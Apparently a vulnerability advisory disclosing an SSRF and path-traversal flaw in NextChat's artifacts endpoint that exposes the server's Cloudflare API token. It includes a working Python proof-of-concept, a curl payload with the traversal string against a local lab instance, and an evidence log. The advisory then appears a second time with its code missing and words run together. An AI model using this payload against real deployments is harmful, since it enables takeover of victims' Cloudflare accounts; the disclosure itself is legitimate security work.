Source: https://gist.githubusercontent.com/YLChen-007/43252d45d75e8bdd2d45136fd6ffe8a5/raw
Advisory Details
Title: Server-Side Request Forgery (SSRF) and Cloudflare API Token Leakage via Path Traversal in Artifacts Endpoint
Description:
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the NextChat Next.js app/api/artifacts/route.ts API endpoint. The application improperly passes the unvalidated user-controlled id query parameter directly into a backend fetch request targeting the Cloudflare KV API. By using directory traversal payloads (../), an attacker can escape the restricted KV namespace directory and invoke arbitrary Cloudflare API endpoints. During this unauthorized invocation, the application automatically attaches the server's highly privileged CLOUDFLARE_KV_API_KEY token, allowing the attacker to interact with the victim's Cloudflare infrastructure and steal sensitive information.
Details
The GET /api/artifacts route acts as a proxy to retrieve artifacts from a Cloudflare KV store. However, it takes an id query parameter and blindly concatenates it into a URL to retrieve data:
if (req.method === "GET") {
const id = req?.nextUrl?.searchParams?.get("id");
const res = await fetch(`${storeUrl()}/values/${id}`, {
headers: storeHeaders(),
method: "GET",
});
return new Response(res.body, {
status: res.status,
statusText: res.statusText,
headers: res.headers,
});
}
The underlying fetch API inherently performs URL path normalization, which processes any directory traversal sequences (i.e., ../). Since the target URL ends in /namespaces/{namespaceId}/values/, providing a payload with exactly 7 traversal segments (e.g., ../../../../../../../user/tokens/verify) causes fetch to step completely outside the KV namespace scope and resolve the URL to the Cloudflare API root.
Compounding the problem, the storeHeaders() function injects a high-privileged authorization token (Authorization: Bearer cloudflareKVApiKey). As a result, the server forcibly authenticates the traversed request, sending the result of the arbitrary Cloudflare API endpoint straight back to the attacker in the HTTP response.
PoC
Prerequisites
- The target instance must be configured with Cloudflare KV (
CLOUDFLARE_ACCOUNT_ID, CLOUDFLARE_KV_NAMESPACE_ID, and CLOUDFLARE_KV_API_KEY).
- The API instance must be accessible to the attacker.
Reproduction Steps
- Save the following code as
docker-compose.yml:
version: '3.9'
services:
nextchat:
image: yidadaa/chatgpt-next-web:latest
container_name: nextchat-artifact-ssrf
ports:
- "3000:3000"
environment:
- BASE_URL=http://localhost:3000
- CLOUDFLARE_KV_API_KEY=SECRET_TEST_TOKEN
- CLOUDFLARE_KV_NAMESPACE_ID=TEST_NAMESPACE
- CLOUDFLARE_ACCOUNT_ID=TEST_ACCOUNT
- Start the test environment:
- Save the following Python script as
poc.py:
import requests
def test_artifact_ssrf():
# Payload path traversal to escape `/client/v4/accounts/{accountId}/storage/kv/namespaces/{namespaceId}/values/`
target = "http://localhost:3000/api/artifacts"
params = {
"id": "../../../../../../../user/tokens/verify"
}
try:
response = requests.get(target, params=params, timeout=10)
print("[*] Artifacts SSRF Response Status:", response.status_code)
print("[*] Response body:")
print(response.text)
if response.status_code in [200, 400, 401, 403]:
print("\n[SUCCESS] Exploit hit Cloudflare traversal target!")
else:
print("\n[FAILED] Vulnerability might be patched or endpoint not reachable.")
except Exception as e:
print("\n[FAILED] Error during fetching:", str(e))
if __name__ == "__main__":
test_artifact_ssrf()
- Run the exploit:
Alternatively, use curl directly:
curl -i -s -k "http://localhost:3000/api/artifacts?id=../../../../../../../user/tokens/verify"
Log of Evidence
[*] Artifacts SSRF Response Status: 400
[*] Response body:
{"success":false,"errors":[{"code":6003,"message":"Invalid request headers","error_chain":[{"code":6111,"message":"Invalid format for Authorization header"}]}],"messages":[],"result":null}
[SUCCESS] Exploit hit Cloudflare traversal target!
Impact
Critical SSRF & Identity Takeover. The attacker can directly call privileged Cloudflare API endpoints using the CLOUDFLARE_KV_API_KEY configured by the NextChat administrator. Depending on the token's scope, this could allow full account takeover of the victim's Cloudflare infrastructure, manipulation of DNS settings, reading of other namespaces, or bypassing of proxy protections.
Affected products
- Ecosystem: npm
- Package name: nextchat (Yidadaa/ChatGPT-Next-Web)
- Affected versions: <= v2.16.1
- Patched versions:
Severity
- Severity: Critical
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Occurrences
Source: https://gist.githubusercontent.com/YLChen-007/43252d45d75e8bdd2d45136fd6ffe8a5/raw
Advisory Details
Title: Server-Side Request Forgery (SSRF) and Cloudflare API Token Leakage via Path Traversal in Artifacts Endpoint
Description:
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the NextChat Next.js
app/api/artifacts/route.tsAPI endpoint. The application improperly passes the unvalidated user-controlledidquery parameter directly into a backend fetch request targeting the Cloudflare KV API. By using directory traversal payloads (../), an attacker can escape the restricted KV namespace directory and invoke arbitrary Cloudflare API endpoints. During this unauthorized invocation, the application automatically attaches the server's highly privilegedCLOUDFLARE_KV_API_KEYtoken, allowing the attacker to interact with the victim's Cloudflare infrastructure and steal sensitive information.Details
The
GET /api/artifactsroute acts as a proxy to retrieve artifacts from a Cloudflare KV store. However, it takes anidquery parameter and blindly concatenates it into a URL to retrieve data:The underlying
fetchAPI inherently performs URL path normalization, which processes any directory traversal sequences (i.e.,../). Since the target URL ends in/namespaces/{namespaceId}/values/, providing a payload with exactly 7 traversal segments (e.g.,../../../../../../../user/tokens/verify) causesfetchto step completely outside the KV namespace scope and resolve the URL to the Cloudflare API root.Compounding the problem, the
storeHeaders()function injects a high-privileged authorization token (Authorization: Bearer cloudflareKVApiKey). As a result, the server forcibly authenticates the traversed request, sending the result of the arbitrary Cloudflare API endpoint straight back to the attacker in the HTTP response.PoC
Prerequisites
CLOUDFLARE_ACCOUNT_ID,CLOUDFLARE_KV_NAMESPACE_ID, andCLOUDFLARE_KV_API_KEY).Reproduction Steps
docker-compose.yml:poc.py:Alternatively, use curl directly:
curl -i -s -k "http://localhost:3000/api/artifacts?id=../../../../../../../user/tokens/verify"Log of Evidence
Impact
Critical SSRF & Identity Takeover. The attacker can directly call privileged Cloudflare API endpoints using the
CLOUDFLARE_KV_API_KEYconfigured by the NextChat administrator. Depending on the token's scope, this could allow full account takeover of the victim's Cloudflare infrastructure, manipulation of DNS settings, reading of other namespaces, or bypassing of proxy protections.Affected products
Severity
Weaknesses
Occurrences
idquery parameter into afetch()URL without neutralizing path traversal sequences like../, while simultaneously attaching a highly privilegedstoreHeaders()Bearer token.